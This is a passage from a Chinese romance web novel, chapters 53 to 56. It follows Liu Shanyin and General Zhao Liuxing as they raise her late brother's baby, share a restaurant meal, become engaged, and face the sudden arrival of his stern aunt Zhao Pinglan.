柳善因好心相帮,没想到竟被人家看上。 不过也是,谁能不喜欢这样娇憨明朗的女郎呢?可柳善因却被阿婆的话吓得连忙挥手否定,她想这话若是被赵赵将军听到可还得了,便忙说:“不是的,我,我已经……” 许了人家。 只是她的话还没说出口,一个高大的身影就已经笼罩在了她的身后。 柳善因看着阿婆的脸色逐渐不对味,瞬间觉得脖子后头凉飕飕的。赵留行是怎么也没想到,自己短短进去这么一小会儿就能被人“撬了墙角”!看来他往后去哪都得带着柳善因,一刻也不能离。 对面人是老人家,赵留行也不能太过无礼。 他只皮笑肉不笑地望向地上的女郎轻道:“为夫进去为夫人买个饮子的功夫,夫人在这儿作甚?” 柳善因梗着脖子抬眸望,却被赵留行眼中的醋意酸得速速低下头去。她不知身后人有没有听见那些话,只能拎着那袋子菜起身站在他身边,弱弱应了声:“我来买些菜。” 赵留行又问:“那夫人买完了?” “买完了!”柳善因在眼前人沉闷的声音里快快地答。 “那既然买完了就走吧,为夫饿了。”赵留行见状伸去拎着饮子的手臂,示意柳善因挽上。柳善因这会儿反应倒快,立刻抬手环住了赵留行,她是生怕他生气起疑。 毕竟,他二人今非昔比了。 赵留行抬脚,柳善因赶忙在临行前抛下一句:“阿婆,我先走了。”便随之远去。 叫其在原地懵了好半晌。 阿婆实在想象不出,看上起性格如此迥异的两个人…… 居然是有娃的两口子!- 饮子铺往酒楼的这段路上,柳善因一直环着赵留行的手臂不敢松,等她小心翼翼瞟见身边人不苟言笑的脸,便免不得问上一句:“赵赵将军,你生气了吗?那个阿婆不是故意那么说的,你别误会。” 赵留行见女郎如此在意他的心情,立刻装作若无其事地应声:“什么话?我没听见。” 实则他心里早就翻江倒海了个遍。 可柳善因是赵留行说什么,她信什么,她见眼前人没听见阿婆后来说的话,立刻摇着脑袋否认道:“没什么,没什么!走吧,我们去吃饭,我也饿了。” 赵留行侧目盯着这揣着明白装糊涂的女郎,没恼没怪,还觉得她愈发可爱。 二人就这么一道去了酒楼。 可谁成想等真到了酒楼里面,柳善因坐在桌案边拿起伙计递来的菜单一瞧,瞬间吓得将菜单扣在了桌面上,她即刻与跟自己对坐的赵留行讶然道:“这里的价钱也太贵了吧!一份河鲜烩豆腐,居然要六十六文钱!” 柳善因说着举起菜单遮在脸上,向对面缓缓靠去。 她躲在菜单后头低声言语:“赵赵将军,咱们不若还是回家吃吧,真的太贵了。吃一顿下来,够咱们一旬多的开销了。也太夸张了。” 赵留行闻言却没什么所谓,他边垂眸端着水杯给小家伙喂水,边和柳善因说:“没事,今天我请客,你想吃什么尽管点,一顿饭吃不穷我。不用想着替我省钱。” 赵留行本以为这么说就能让女郎安下心来。 谁知,柳善因竟收起菜单同他委屈巴巴念叨了句:“是,我知道是你请客……但那花的还不都是咱家的钱?” 第53章 第53章能睡床吗 赵留行的笑在柳善因的话音里散开,他的肩膀跟着抖了三抖,杯中水随之溢出自然全都泼在了娃娃脸上。 小家伙瞬间挥舞着手脚哼唧出声,把赵留行吓得赶快搁下水杯,伸手去擦娃娃小脸上的水渍,“对不住 ,对不住,我不是故意的,你可千万别哭。” 柳善因看着小家伙闹脾气,没多在意。 毕竟,在娃娃脸上洒水这种小事,哪有离开这家能吃掉他们小半个月伙食费的“黑店”重要!只瞧这边的小祖宗还没哄好,对面的大祖宗便噘嘴问他,“赵赵将军笑什么!” 赵留行抱起小家伙拍了拍,这才宽慰起柳善因来,“我笑小柳真是勤俭持家的一把好手。可话说回来,我在北庭这些年攒的这些钱不就是给你,给家里用的?况且你来王城这些时日,我都未曾招待过你。今日既然出来了,你就听我的好好吃一顿,等今日之后,我保证都听你的。” 二人的生长环境不同,观念自然大相径庭。 但赵留行愿意尊重柳善因的想法,柳善因也欣然接纳了赵留行的建议,她再次打开贵重的菜折子,小声念了句:“那好吧,赵赵将军想吃什么?” 赵留行闻言举目看向柳善因,“你点什么,我吃什么便好。” 柳善因点点头,可她盯着菜折子上吓人的价格,再次犯起了难。她将菜折子翻过来覆过去,半晌也没点出一道菜来。赵留行稳坐案前轻声相问:“怎的?没有想吃的?” “算了,还是你来点吧,我吃什么都成。”柳善因摇了头,她把菜折子往赵留行那边一推,眼不见心为静了。 这时间,打后厨出来个围着襜裳的厨娘,伙计见了她个个都要垂眉问上一句:“少东家——” “忙去吧,忙去吧。” 厨娘点点头,没有半分东家做派,她边往外去,边将襜裳解下。可等她在路过柳善因和赵留行坐的隔断前,居然惊诧地唤了声:“夫人将军!你们怎么在这儿啊?小郎君也在!” 赵留行和柳善因几乎是同一时间抬的头。 他眼睁睁瞧着眼前人毫不避讳地伸手捏了捏小家伙的小脸,小家伙也丝毫不怕她。 “白土酥,你怎么在这儿?”赵留行讶然将眼前人打量,直到瞧见她手里拿着的襜裳,不禁疑惑道,“你这是嫌家里给的工钱少?在外头找了份私活干?” 土酥收回逗弄小家伙的手,还没来得及应声,柳善因就在旁恍然大悟道:“原来这就是你家的酒楼啊——” 什么!?赵留行闻言不敢置信地看向柳善因。 他既震惊于自家的厨娘竟是酒楼的少东家,又惊讶于柳善因居然比自己知道的还要多! 可土酥并未回答赵留行的疑惑,她只同柳善因解释说:“是呀,就是这家。我不是跟夫人说了,我家那铁公鸡病了,我和阿弟没办法只能回来帮他照看两天。啧啧,就这老家伙回家前还特意叮嘱伙计,让他们看着我和阿弟不要乱吃乱拿酒楼里的东西。” 柳善因点点头,“我知晓,但我没想到会是这家。” “你家的酒楼还挺气派的。” 柳善因说罢想起找白老爹借羊奶时他那视财如命的模样,瞬间觉得菜折子上的价钱,变得合理起来。她将金碧辉煌的大堂扫视一圈,最终将眼神落回了土酥身上。 土酥微微笑,“还行吧,虽然比不上丰德门外的问仙斋,不过我家的烧鲤鱼在洛阳城还挺有名的。”她说着左右一扫两人,追问了句,“所以夫人和将军你们一家三口,今日这是……?” 柳善因哦了一声,朗声应道:“今天天气不错,赵赵将军带我出门转转,顺便吃饭。” 土酥似懂非懂地点头。 她还以为是自己归家晚了,叫主家饿得不得不出门觅食。 那既然今日柳善因和赵留行正巧到了自家的酒楼,土酥作为少东家怎么也得招待招待二人,只因平日主家待她不薄,甚至比自己爹对她还好。 土酥便豪气道:“吃饭好啊!今日夫人和将军想吃什么随便点,我给你们免单。” 可柳善因知晓白家老爹的脾气,她怕土酥为难,赶忙张口推脱:“啊?这样不太好吧。你的好意我们心领了,但这账怎么说都是要结的。” 柳善因还是一如既往为别人着想,她虽觉得土酥家的饭店贵,但她仍是没想着占便宜。 土酥明白眼前人的意思,即刻拂袖一挥愤愤道:“夫人别担心,老家伙他就是请个掌柜也得付工钱吧!何况我还前头忙完后头忙,整日脚打后脑勺的——夫人放心吃,敞开吃,你们今日吃的都算我账上,您就好好替我把这几日的工钱都给吃回来。当然还有将军,将军也敞开吃。” 土酥义愤填膺地握起柳善因的手,就好似今日柳善因和赵留行不吃她请的这顿饭,便不仁不义般,弄得柳善因干眨眼,也不知该如何接茬。 然那被两人晾在一旁的赵留行,却在此时打断了二人的对话,“行了,你俩先等等再说这事。” 土酥捧着柳善因的手转过头,柳善因也跟着回眸望。 只见赵留行怀里的小家伙正拽着他的领口像是要摸索什么,他照看了这么久的孩子,自是心领神会这小祖宗又要做什么,他便冲二人说:“先给小宝弄些吃的,他饿了……” 土酥见状赶忙应声,又熟练地系起脱下的襜裳,“哦,好好,后厨有今早现杀的鲜鸡,我去给小郎君弄些糊糊。”- 夜里风凉,柳善因站在窗台边关窗,外头明月朗朗,叫她忍不住抬头往外望。 彼之,赵留行抱着孩子从书房行来,见窗中站着个灵动女郎,免不得多看两眼。他站在窗外顺着柳善因的目光瞧,“赏月呢?要不要往屋顶上看去?” 柳善因收回思绪,摇头说:“不用,赵赵将军进屋吧。” 赵留行哦了一声,识相跨进屋门。 屋内灯火融融,两个人就像对寻常夫妻般趁着夜深人静,闲谈起今日的琐碎。 柳善因合窗说:“土酥今日说的没错,他家的烧鲤鱼真的好好吃啊,我从来没有吃过这么好吃,这么鲜美的立于,我到现在还能咂摸起那个味来!赵赵将军呢?赵赵将军觉得怎么样?” “我觉得还好。” “怎的?小柳喜欢?那咱们明日还去。”赵留行抱着将睡未睡的孩子,在屋里转圈。 他在试图将孩子哄睡。 柳善因靠在窗边的条案前连忙摆手,“不要了不要了,喜欢也就吃一次就行,我觉得家里的饭菜也很好吃。我们以后还是在家里吃吧。” 柳善因虽这么说,但赵留行瞧得出女郎是在心疼钱。 他没戳穿,只一味说好。 赵留行默然在屋里转了两三圈,垂头一瞧怀里的小家伙仍是半睁眼,他纳了闷,“这小祖宗困成这样怎么还不睡?你平日不就是这么哄得吗?” “怎么了?叫我瞧瞧。” 柳善因歪起头,不明所以。她三两步上前从赵留行怀里接过了小侄子。 谁成想,娃娃刚落进她怀里就乖乖闭上了眼。 赵留行抬头与眼前人讶然相对,柳善因也茫然无解这是怎么一回事,赵留行便猜测说:“瞧着他是只有闻着你身上的味道才能安稳下来。” 他也一样。 柳善因无言顺了顺小侄子脑袋上的头发,赵留行似是想到什么,忽然张口与之说:“跟我去个地方。” “这么晚了去哪?”柳善因惑然。 赵留行竟拉起她的手腕,“走了,跟我来你就知道了。”- 昏暗的厢房内,柳善因抱着呼呼大睡的娃娃茫然立在里头,她不知赵留行带他来这儿做什么?赵留行却举起火折子悄默声从放战袍的箱子里,取出了个上锁的盒子。 “给你。”赵留行伸手将东西递去。 柳善因不敢接,“给我的吗?这是什么东西啊?” 赵留行没急着应声,他先是不紧不慢引燃手边烛灯,而后从口袋里摸出一把钥匙搁在了盒子上,才开口道:“把小宝给我,你自己打开瞧瞧。” 柳善因懵着脑袋任由赵留行把孩子抱走,又懵着脑袋将盒子打了开。掀开木盒的一瞬,柳善因看到了一沓厚厚的银票,把她吓得将盒子扣了上,她问:“赵赵将军,你,你这是干嘛?” 赵留行偏镇定将她相望,他说:“这是我的全部家当,我把这些都交给你了。” 赵留行的态度坦诚,每说一句眼中都是她美好的脸,“这些钱虽然还不足以让我们在王城拥有个自己的宅子,但我会尽我所能筹备你我的婚事,别人该有的三书六礼,我半分不会亏欠。” 什么! 原来赵赵将军说让自己留在他身边,不是不明不白的陪伴,也不是做妾做小,而是要明媒正娶——事情来得太过突然,叫柳善因错愕愣在原地,她从没敢这样妄想。 这,这算是求婚吗? 柳善因捧着赵留行的全部家当说不出话,盒子里轻飘飘的银票,压在她掌心里却是那样有份量。 赵留行见女郎不答,又怕她反悔,便不经女郎同意,擅自将钥匙塞进她的口袋沉声说:“好了时候不早,该说的都说了,你把钥匙收好,我困了回去睡觉了。” 他转过身,袖边的风吹灭了本就微弱的烛灯。 柳善因迷蒙蒙举目看去,赵留行坚毅的背影便填满了她的眼眶。 等她一路追着赵留行回了屋,赵留行刚好将小家伙轻轻放在小床上。她便默默垂头挪去床边,想要一声不响地爬上床,却被身后盯着柜子顶上,思量自己到底要不要打地铺的赵留行打断。 他极其认真地问:“小柳,我往后可以睡床吗?” 此话一出,柳善因趴在床边愕然回头。 合着他铺垫这么多,是在这儿等着她……那她,她能说不成吗? 第54章 第54章稀疏平常 柳善因挣扎了两天,还是让死乞白赖的赵留行如愿上了自己的床。 可不叫人家上床能行吗? 赵留行这两日夜里睡着睡着便会悄默声摸上床,虽说他也不去打扰枕边人的清净,也没随便动手动脚,但每每早起叫柳善因翻身瞧见,总会被吓上一跳。 闹得柳善因实在受不了,最后也只能无奈妥协,同意赵留行那晚的请求。 短短几日,赵赵将军威风凛凛的霸道模样,在柳善因这儿也算是不复存在了,可又有谁能想到赵留行卸下伪装之后,竟然如此粘人呢!- 又是几日匆过,赵留行这次下值回家的步伐明显比原先快上不少,碰上长夏坐在院中修花,她一张口就好事道:“呦,三郎君今儿回来的早啊?怎的这些时候不走路,改骑马归家了?” 赵留行闻声瞥了一眼长夏。 若搁往常他必是得呛上一句要你管,但今日他居然只应了声:“骑马回家快。” “夫人在哪?” 长夏仔仔细细修剪着从他们院里搬来的海棠花,这家里从上到下,就仿若没有她操持不了的家务。她抬起头,思量几番,“夫人好像是在…后头给三郎君蒸菜卷呢吧?三郎君过去瞧瞧就知道了。” 长夏举着剪子话音未落,赵留行就头也不回地往后头去。 惹得其不由咂舌, 着急忙慌的现在知晓夫人的好了?- 后院里头,土酥在酒楼忙得实在抽不开身,以至于这几日家里的伙食都由柳善因接管下来。赵留行本意是想找个闲汉每日跑腿送送餐食,就不劳柳善因辛苦。 但柳善因哪里会同意他这般破费? 她觉得既然是准备在一起过日子,就得为以后做打算。先不论他们现在住得是二姑的宅子,就是将来二人真有了孩子,那花钱的地方可还多着,所以能省一些还是要省一些。 况且柳善因又不是不会做饭,原先在家的时候,大伯他们可没少使唤她做活。 这几个人的伙食,难不倒她! 雾气蒸腾的灶台前,柳善因一边晃着摇篮,一边坐在小凳上认真看着灶火。火光将她沉静的眼底照亮,她垂眸捡起一块劈柴丢去,小脸上写满知足与安乐。 笼中的菜卷还得蒸些时候,柳善因百无聊赖,拿着脚边掉落的木块在地上画圈。 她想其实日子这么过也挺好的,更何况和自己过日子的还是赵赵将军。 柳善因觉得赵留行又高又大,长得又好看,最重要的是对她和小宝很好很好,还舍得花钱。搞得有时候连她自己都不知道到底是她报恩,还是赵赵将军欠了她的。 “在做什么?” 思量间,赵留行穿着上值时的甲衣跨门而入,看得他是真的急于寻到柳善因。柳善因闻言从高高的灶台后头探出头,眼睛瞬间亮亮的,“赵赵将军,你回来了!今日怎么这么早?” 柳善因丢下手中的小木块,眯眼笑起,“我蒸菜卷呢——我今日出门买菜瞧见苋菜新鲜,就想着买些回来蒸菜卷吃。不过菜卷可能还要等一会儿,赵赵将军饿吗?要不要我先给你煮个鸡蛋垫垫?” 赵留行一见女郎心情大好。 可他却放缓脚步,故作矜持来到灶台前嗯了一声,“是有些饿了。” 柳善因随即起身将小板凳递去赵留行腿边,欢欢喜喜地应声:“那好,我现在就给赵赵将军煮鸡蛋!” 赵留行也没跟眼前人客气,顺势坐在了摇篮边上。 几日不见小家伙,他竟多出几分想念。 瞧他忍不住伸手轻轻摸了摸小家伙的脸,听身边人又跟自己说:“回家了怎么不换换衣裳呀?煮鸡蛋也需要些时候,赵赵将军不若先回去将衣裳换了?换好了,鸡蛋也就好了。” 柳善因动作麻利,边说着话,边在掀开水缸往锅里舀了几瓢水后,俯身烧柴去。赵留行抬头望,眼前人在灶台前忙碌的身影,以及空气中散开的面粉香,不禁叫他愣神。 原来这就是他未曾感受过的烟火气…… “赵赵将军?我跟你说话呢?” 柳善因说着丢了两颗鸡蛋下锅,“你要不要先回去换换衣裳?” 赵留行缓过神却说:“没事,吃过晚饭再回去换也是一样。辛苦你了。” 柳善因盖上锅盖,转眸看向赵留行,忙道:“不辛苦,这有什么辛苦的,我的手艺比不上土酥,惯是些家常便饭,只要赵赵将军不嫌弃觉得好吃就行。” “是你做的,我都愿意吃。”赵留行会心一笑,看着女郎的眼神愈发炽热。 柳善因好不容易两日没被眼前人“打扰”,都快忘了他那副粘人模样,这下可好,他又来了!吓得她赶忙躲开赵留行的眼神,俯身蹲去灶火边添柴来缓解自己的尴尬。 赵留行见状没有多言,眼中的笑意也再未落去。 不多时,鸡蛋被柳善因从沸水中打捞进瓷碗里,又被递去赵留行的面前,“给煮好了,小心烫。” 赵留行缓缓接过道了声:“谢谢。” 柳善因笑着摇摇头,又转身去屋外拎了个小板凳回来。可等坐在赵留行面前,人家居然已经剥出了半颗鸡蛋,“赵赵将军,刚出锅的鸡蛋,你直接剥不烫手吗?” “不烫。”赵留行回答的斩钉截铁。 他趁势将第一口鸡蛋递到柳善因面前,想叫她尝尝,“给你先吃。” 谁成想,女郎只顾垂头观摩他的掌心,“赵赵将军的手是铁做的吗?看着和我的没什么区别啊?” 柳善因捏着赵留行的手翻来覆去的看。 赵留行怕鸡蛋凉掉,反手握住女郎,将鸡蛋怼在了她嘴边,沉声说:“别瞧了,鸡蛋要凉了。” “我不……吃。” 柳善因堪堪张嘴,就被鸡蛋噎了回去。 她无奈咬了口鸡蛋嚼了嚼,可等她想着将自己吃过的鸡蛋接去的时候,赵留行竟然若无其事地将剩下的那小半颗鸡蛋给一口吞下,惹得她不由得惊诧:“赵赵将军,这是我咬过的!” 赵留行却淡然道:“那又如何?” 是啊……那又如何,毕竟也是睡在一张床上的人。 柳善因眼睁睁看着赵留行将口中鸡蛋咽下,又拿起另一颗冲她问了句,“还吃吗?” 柳善因摇摇头。 赵留行依旧没说话,但等他抬眼一瞅,又开口说,“你别动。” 柳善因不明其意,眼前人忽而伸手抿去了她嘴角的蛋黄。 不经意间的四目相对,叫赵留行忘记收去轻抚在女郎脸颊上的手掌,柳善因瞪大眼睛茫然去看,居然发现眼前人朝自己越靠越近。 赵赵将军在做什么! 柳善因觉得不对慌张着想躲闪,就听门外传来一阵急匆匆的脚步声。 长夏不知为何慌里慌张闯了进来 ,她大道:“郎君夫人,外头有人送了封信过来,说是二——对,对不起,我不知道郎君和夫人在……二位继续,二位继续。” 暧昧的气氛被人打断,赵留行也没了适才的冲动。他即刻收回手臂敛容冲长夏喊了声:“回来。” 长夏转身听见动静惶然回头。 她怕赵留行生气赶忙解释:“三郎君,我发誓我真不是故意的……” 赵留行却没搭理,他只厉声说:“把信拿来。” 长夏颤颤巍巍上前,将信递进主家手里,转头便溜之大吉。赵留行接过书信,也顾不上责备长夏,盯着信上熟悉的字迹陷入沉默。柳善因垂头坐在一旁有些好奇,又不敢张口问。 赵留行却沉声说:“二姑终于回信了。” “二姑?”柳善因惑然。 其实赵留行这些时候一直在往北庭寄信,他已经想好如若二姑再不放话,他便自己到御前请命回去。如果连这条路也走不通,那他就只能辞官跟着柳善因回到兰花村当个赘婿,种一辈子地去。 当然,辞官是赵留行最近才生出的念头。 他默默展开书信,只见一张方正的信纸上工整写着几段简单的话…… 吾侄三郎亲启: 王八小子,你给我在家老老实实等着,你敢乱来扒了你的皮。 二姑亲笔,五月初三留。 这信一读就是赵家二姑奶奶赵平澜亲自写的。赵留行被那熟悉的口吻吓得一把就将信合了上,他从小便是如此,他是既敬二姑,又怕她怕得不得了。 柳善因看着眼前人脸上突然冒出的惊恐相,迷茫问道:“怎么了赵赵将军,二姑信上说什么?” “是出什么事了吗?” 赵留行怔怔看向柳善因,懵着脑袋吐出一句:“小柳,二姑要回京!” 柳善因不知信上写的什么,也不知这传说中的二姑到底是个什么样,自然不像赵留行那般恐慌,她道:“真的吗?二姑怎么突然就要回来了?那二姑有没有说什么时候到?赵赵将军,二姑回来我们需要准备什么吗?” 女郎喋喋不休。 赵留行闻言悄悄掐指一算,北庭到洛阳约莫快马行路,也得半月才能到。 可那信上是五月初三留的,那就意味着…… 二姑没两日就要到洛阳! 第55章 第55章你姑来了 夏至将近,入夜不再似春时凉爽。 柳善因趴在床里头蹬了蹬被角,叫还未入眠的赵留行听见动静,转身而来准备查看。可等他刚转过身,一双水灵灵的大眼就猛地撞在了他的心坎上,让他烦杂的思绪瞬间清净不少。 柳善因歪着脑袋小声唤道:“赵赵将军。” 赵留行嗯了一声。 柳善因似乎已经习惯了眼前人睡在自己身旁,也接受了要和他过上一辈子的事实。她收起漏出被子外的脚背,蜷在赵留行面前沉声问:“原来你也没睡啊——难不成赵赵将军,也是因为二姑的事睡不着吗?” 赵留行垂眸说是,这两口子还真是如出一辙。 可柳善因似乎和他不同,他是提心吊胆,而她心里更多的是未知的好奇,她问赵赵将军,“二姑是个什么样的人啊?她喜欢吃什么?不喜欢吃什么?你能跟我说说吗?” “叫我有个准备。” 柳善因诚恳求问,赵留行却看着她莫名笑起,“有个准备?怎的小柳,你难不成是担心在二姑面前做错事,最后惹得二姑不悦,不叫你给我当媳妇了?” “……” 柳善因撇撇嘴,忽然不想理赵留行了。 赵留行趁势见好就收,瞧他平躺过身,将双臂环在胸前若有所思。 “二姑她……” 赵留行跟赵平澜认识了二十年,按说他应是最了解她的人,可忽而被女郎这么问,他一时间竟有些答不上来。 他思量了很久,这才缓缓开口:“二姑杀伐果敢,是个很有主意的人,只要她想做的事,就没有人能拦得住她,就连祖父也不能。而且小柳你知我最佩服二姑的一点是什么吗?” “什么?”女郎认真倾听他讲话。 赵留行眯起眼睛,望着床帐的顶,恍惚想起了曾在北庭的那些年,便轻描淡写地说:“二姑提刀砍人的时候,眼睛从来不带眨的,刀起刀落,干脆利落,哪怕是血渐在脸上,亦是如此。” “至于你问我她喜欢什么,不喜欢什么……” “二姑不怎么挑食,小柳做得吃食她应该都喜欢,但多做些面食定是不会出错,二姑在北庭的时候几乎天天叫伙房做面条,我都吃腻了,二姑却还是坚持着。” 说话间,赵留行转头望向身边人。 谁知柳善因听了他对二姑的形容,莫名脑补出个凶神恶煞的女罗刹,便被吓得躲在被子里瑟瑟发抖。 砍人不眨眼! 那如果二姑对她不满意的时候,会不会连自己…… 柳善因摇摇脑袋,不敢细想。 赵留行却在外头扯着她盖过头顶的被子,疑惑道:“小柳?你这是作甚?冷吗?” 柳善因闷在里头不肯出来,也不肯出声。 赵留行瞧着女郎这般模样,似是明白几分,张口便问:“你难不成是在害怕吗?” 柳善因点点头,承认了自己害怕。 她本以为身边人会嘲笑自己的胆小,亦或冷言说二姑能有什么好怕。 没成想,倏忽之间屋内一片死寂,跟着便有人俯身而来轻轻靠在了她的脑袋上。 柳善因在被子里愣然。 赵留行却在被子外就着昏暗的光线,沉声将她安慰:“小柳你记住……” “凡事莫怕,万事有我。” 身边人沉闷的声音稳稳落进夜色,弄得柳善因默而无言,她在赵留行的话语里久久不能平静,因为她这辈子从未遇见过比阿兄对自己还好的人,曾也只有阿兄同她说过这样的话。 柳善因就这么安安静静躺着,一句话也不说,直到感受到枕在她脑袋上的人离开,她才打算探出头。怎料,赵留行竟在她探头前,隔着薄薄的被子,将轻轻的一吻落下。 那一吻就正正好亲在她的额头上。 他,他是不是亲她了!? 他怎么能亲她呢! 柳善因的身体瞬间僵硬,她不敢置信地眨眼,赵留行却好似早有预谋般,在外头跟她挑眉道了声:“天色不早,我困了,先睡了。夫人自便吧——” 柳善因闻言脸红到了脖子根,这长夜漫漫,她实在羞于面对赵留行,也只好先装睡为妙!- 次日一早,叫醒长夏的不是窗外的鸟鸣, 而是门房狂吠不止的狗叫,以及猛烈不止的敲门声。 “谁啊,这一大早的。” 长夏骂骂咧咧穿衣来到府门前,她刚卸下门栓开门瞧,就被门外那张冷艳且透着股子戾意的臭脸吓得瞬间清醒,她揉了揉自己模糊的睡眼,打量着来人身上锃亮的盔甲,和斜跨的长刀,隐约感觉不对。 长夏迟疑着问:“您,您是?” “告诉赵三郎,他姑回来了,让他亲自出来接我。”来人看了眼前这小小女使一眼,长夏瞬间被她的气势压倒,忙说,“二姑奶奶,原来您就是二姑奶奶!您怎么回来了?您快请进,快请进。” “我,我这就去给您叫郎君和夫人——”长夏说着为赵平澜推开门,转头就要往里头跑。 赵平澜闻言蹙眉说:“等等。” 吓得长夏即刻停下脚步,不敢乱动,她回眸瞧,赵平澜却质疑了声:“夫人?” “就是,就是咱们小郎君的娘……”长夏小声解释,赵平澜却更加不可思议道,“小郎君?你这说的……该不会是三郎的孩子吧 ?” 长夏点头说是,赵平澜听罢眼前一黑。 她真是不知他家这混小子又在给她找什么麻烦,关于柳善因这事,赵留行并未在信中跟她提及,她自也不知晓是怎么一档子事。 如此,赵平澜约摸着也不用女使过去叫人,她是很有必要亲自过去一趟。 她便追问长夏,“三郎他们在哪?” “在,在正院……”长夏看着赵平澜抚袍跨了门,径直路过自己朝院内走去,察觉情况不对吓得慌了神,“诶,二,二姑奶奶,还是我替您过去知会一声吧——” 赵平澜却再没将她搭理- 彼时,寝屋里一片祥和,赵留行一夜好眠,殊不知风雨已经临近,兴许是柳善因带给他前所未有的安心与归属,叫他自从和身边人睡在一张床上开始,睡眠便一日好过一日。 早些时候睁开眼,他还冲半梦半醒的柳善因拍了拍身侧的空位,示意其离自己近些。但看着柳善因不情不愿,他就自己上前贴在了人家身旁。 最后甚至还得寸进尺,将人从身后抱进了自己怀中。 那时间破晓天刚亮,柳善因是太困,便也懒得搭理,就这么任由他环着自己再次进入梦乡。 两人这一觉,就睡到了辰时三刻。 可并非是赵平澜的到来,才将赵留行从柳善因的身上分离开,而是小家伙清晨一声清亮的啼哭,惹得赵留行条件反射地抬头往帐外望,柳善因也随之睁眼。 赵留行茫然问怀里的人,“你后半夜抱小宝去喂奶了吗?” 柳善因摇头说:“没有。” 赵留行惊诧着答曰:“我也没有。” 爹娘两个一对眼神,合着后半夜他俩谁也未曾带娃娃出去过,但…… “他后半夜也没哭没闹啊?”赵留行不明所以。 柳善因也不知其解。 两个人你看我一眼,我看你一眼,双双起身下了床。可爹娘两个站在小床边研究半晌,也没看出个所以然,小娃娃没屙也没尿,脑袋不热也不烫,怎么瞧着都只是早起该喂奶了。 那后半夜怎么回事? 小家伙的哼唧声再次响起,赵留行也顾不上多想,抱起孩子就跟柳善因说:“我去奶孩子吧,应该就是饿了。” “好,那我也去做早饭了。”柳善因见状点点头,回到床铺边去摸自己的外衫,赵留行听闻站在门口转头望,“不急,你再睡会儿,大不了待会儿叫长夏到街上买些回来。你别累着。” 柳善因摇头说:“不用,反正我也睡不着了,等小宝吃完,咱们正好也饿了。” 赵留行拧不过,只得道了声辛苦,转头匆匆出门喂奶去。 哪成想,他前脚刚踏出寝屋的门,后脚那张熟悉的面孔就出现在了院中,出现在了自己眼前。他起初还以为是自己睡迷糊了,竟瞧见了二姑,直到长夏追来冲他高声提醒了句:“三郎君,二姑奶奶回来了。” 他才反应过来,这不是幻觉!可眼前人少说不是三五日才能到,怎么来的这般快呢? “二姑!”赵留行错愕不已。 赵平澜威武的身影站定在院中,令人生畏,她盯着半年多未见的侄子以及他怀中哼哼唧唧的娃娃,忽而冷笑道:“爱侄,许久不见,瞧着我是不是该恭贺一句——喜得贵子啊!” 别瞧赵留行平日里横行无忌,盛气凌人,但他只要一见到赵平澜就跟老鼠见了猫般忐忑不安。可眼下似乎有比跟二姑解释更重要的事要做。 他便硬着头皮说:“二姑,您能不能稍等片刻……” “怎的?不欢迎我回来?”赵平澜厉声发问。 赵留行则在她面前熟练地哄了哄怀里的小家伙,一本正经地跟她说:“当然不是,是孩子饿了——您要杀要剐,能不能让我先奶了孩子再说?” 第56章 第56章二姑发怒 赵平澜心里压着怒火,却还不至于跟个小娃娃计较。她看了眼赵留行,转头抛下一句:“一会儿到后院找我。”便潇洒拂袖而去。赵留行随即诶了一声,顾不上多想速速将孩子抱去了书房。 而后,等一切安置妥当,赵留行特意将小家伙留在乳娘身边,回屋去找了柳善因。 这时间,柳善因刚刚穿戴好衣裳。 她适才听见外头的动静,却不敢轻举妄动,只能躲在屋里察言观色,待赵留行一进门,她便怯生生地问:“赵赵将军,是二姑来了吗?” 赵留行点点头,她又继而说:“那二姑为什么看上去不太高兴啊……” “因为有些事,我还没来得及跟二姑说清楚。”赵留行没有隐瞒。 其实和柳善因在一起这事连他自己都没想到,一切来得突然,却又是那样合乎情理。原先的他只觉得等事情解决了,两个人分道扬镳就再无联系了,自然也不必急着跟二姑解释。 谁成想事到如今,他竟先沦陷了。他这辈子说什么也要和女郎在一起。 “是咱俩的事吗?”柳善因举目看着赵留行。 赵留行嗯了一声,抬眸诚恳道,“你愿意跟我一块去后头见二姑吗?” 柳善因闻言下意识垂眸,有些担心。 赵留行瞧着女郎这副模样必不会勉强,男人该有的担当他自是有的,他便转头打算一人过去面对,“没关系,你若不愿就留在这儿等我回来,我会跟二姑把话说明白。” 只是他还未抬脚,就被女郎狠狠拽住了衣角。 赵留行蓦然回首,听柳善因在他身后瞪着大大的眼睛,小声与之说:“赵赵将军,我跟你一起去。反正我迟早也是要见二姑的……” 女郎笃定的话音落在清晨的雾色里。 她虽怕得不行,却还是不忍心叫赵留行一人面对,毕竟这事也不是赵赵将军一人的错。 “好,有我在,你别担心。”赵留行见状会心一笑,顺势握上柳善因的掌心。柳善因没挣脱,二人就这么相视一眼,一块寻了赵平澜去- 后院,赵平澜立在柳善因亲手栽种的小菜园边,凝眉相望。此刻,她心中的疑惑盖过了不悦,等赵留行牵着柳善因来到院中还没来得及开口,她就抢先问了句:“这菜地,是你们弄得?” “都是小柳自己弄得。”赵留行如是说。 半年不见,还真是过上日子了。 赵平澜冷哼一声,缓缓回眸看向不远处的两个年轻人,不怒自威着。 柳善因攥着赵留行的手,怕得打颤,但她还是出于礼貌,硬生生给赵平澜鞠了一躬,并老老实实自我介绍道:“晚,晚辈柳善因,拜见都护大人——” 晨曦里,赵平澜眉目似秋风清冽,她听见柳善因这样说,没什么特别的反应。 赵留行赶忙将话茬接下,“二姑,小柳就是柳徽的家妹。” 赵平澜眼眸微动。 她思量了半晌,才缓缓吐出一句:“柳徽?” 她似乎记不起这人是谁,只隐约觉得熟悉。赵留行便解释说:“就是那个为护我脱困,重伤而亡的百夫长。” “哦,原是他。”赵平澜恍然大悟。 此话一出,她连看柳善因的眼神都温和不少,她认柳徽是个忠孝的铁血儿郎,可就事论事,她还是对这二人的事保有怀疑的态度。她瞥了一眼自家的混账小子,直言道:“那孩子不是你们的吧?” 赵平澜洞穿一切,吓得柳善因不敢妄言。 她转眸将目光投向赵留行,赵留行却淡定地说:“是,二姑说的不错。这孩子确实不是我们的,小宝是柳徽兄的遗腹子。” “什么?那你们俩又是怎么一回事?”赵平澜挑眉诧然。 恩人的儿子 ,与恩人的妹妹,居然变成了女使口中的夫人和小郎君? 他个混账小子想做什么? 她盯着赵留行,但看在柳徽和柳善因的面子上,继续压着怒火沉声说:“你小子把该说的一五一十交代清楚,不可隐瞒,不若你知道我会做些什么——” 姑侄两个一般无二,一上来便直来直去,没有分毫弯绕。 赵平澜警告起赵留行。 赵留行也实在没必要跟眼前人藏着掖着,有些事她迟早要知晓,瞒着她于自己而言没有半分好处,他便把这件事的原委跟二姑说个明白,一个字也没给落下。 